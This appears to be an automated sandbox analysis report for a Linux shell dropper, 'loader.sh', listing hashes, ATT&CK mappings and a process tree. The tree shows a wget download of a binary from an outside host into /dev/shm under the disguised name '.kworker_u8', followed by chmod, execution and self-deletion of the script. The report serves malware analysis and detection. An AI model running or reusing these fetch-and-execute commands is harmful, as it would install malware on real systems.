da41d24f215ed0146853358cff1a5aedca28b761e24390ffd75c2cef09ea47d9

Analysis

max time kernel
0s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260126-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
19/04/2026, 07:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
loader.sh
Size 1KB
Sample260419-jkd6nabs21
SHA256 da41d24f215ed0146853358cff1a5aedca28b761e24390ffd75c2cef09ea47d9
MD5 375cdcc505375d4be794c23a242330c7
SHA1 792c347ac0bf19658659a5570b7e79457f680c8d
SHA512 dd1c03f87ca161adfc1669d12a0af913a85838b76b12ec4db418303951e64e7f408082fd70f22ce76e85fb09de338536aa814948478b386e130427a7f389c2a2
TLSH
T16441ACCA7AA3D97297C7C4381FDAF501E35624430995ADA8B09EBC303F69120FCB1E56
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1533	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/dev/shm/.kworker_u8	1534	loader.sh

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/exe	.kworker_u8

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.kworker_u8	wget

/tmp/loader.sh
/tmp/loader.sh
1⤵
- Executes dropped EXE
PID:1521
- /usr/bin/tr
  tr "[:upper:]" "[:lower:]"
  2⤵
  PID:1525
- /bin/uname
  uname -m
  2⤵
  PID:1524
- /bin/rm
  rm -f /dev/shm/.kworker_u8
  2⤵
  PID:1527
- /usr/bin/wget
  wget -qO /dev/shm/.kworker_u8 https://tg-xxooxx888.8964.mom/bins/kworker_u8
  2⤵
  - Writes file to shm directory
  PID:1528
- /bin/chmod
  chmod +x /dev/shm/.kworker_u8
  2⤵
  - File and Directory Permissions Modification
  PID:1533
- /dev/shm/.kworker_u8
  /dev/shm/.kworker_u8
  2⤵
  - Reads runtime system information
  PID:1534
- /usr/bin/realpath
  realpath /tmp/loader.sh
  2⤵
  PID:1535
- /bin/rm
  rm -f /tmp/loader.sh
  2⤵
  PID:1536

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.kworker_u8

Path /dev/shm/.kworker_u8
Size 2.0MB
SHA256 365b25491ddde4a186edf8b51e8060f8de71ad7959094f7f3317bbd028193367
MD5 5ffa493a7b16ee12b07bc80fa913bd8e
SHA1 7219afd0ad41438ae41f7b259a23f51a51f077f9
SHA512 988d83ca663219abd1b5d6ff5ca7ade8eb54211560d4fae3b6b3acdbf22008bd2ec0c36e0892a720b2b58396b6e7ca95efe26474104f29048caa618d980ddf14
SSDEEP 49152:YEGR40mzo32ojQC1spePgggEuCrjmZ0wkBT1Ho+XbHb2ME7E:10m4pjQkiehhA0wA1I+LH14E
TLSH
T1C4A5331D9B602D985C63A32CA05276A01F6261508EF33BB13BC95F9E151227B4BFCC9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.wget-hsts

Path /root/.wget-hsts
Size 176B
SHA256 b767f2d634dc56cd38eb70c4d8ed0dd9807bbe9247a22c8fde551d56086e687e
MD5 cacf8e25418934be03392ff71b3cf9d0
SHA1 085842a32c4bee7c666f5584d4a8c2c346ce7137
SHA512 ff128545a3d8abd0e3823ed77b98b85b35a8415c77ab1a5d334254e33f1bfd1ccb87398f001ed61c67a4ea2769ba9a09af2ec6ebb085cf507a793b8e12a02e3e
TLSH
T15CC0C02BA004E200004045F1B083381A21D8F11427905C8D4C06C3302528100F8D5C1C
MD5 SHA1 SHA512 TLSH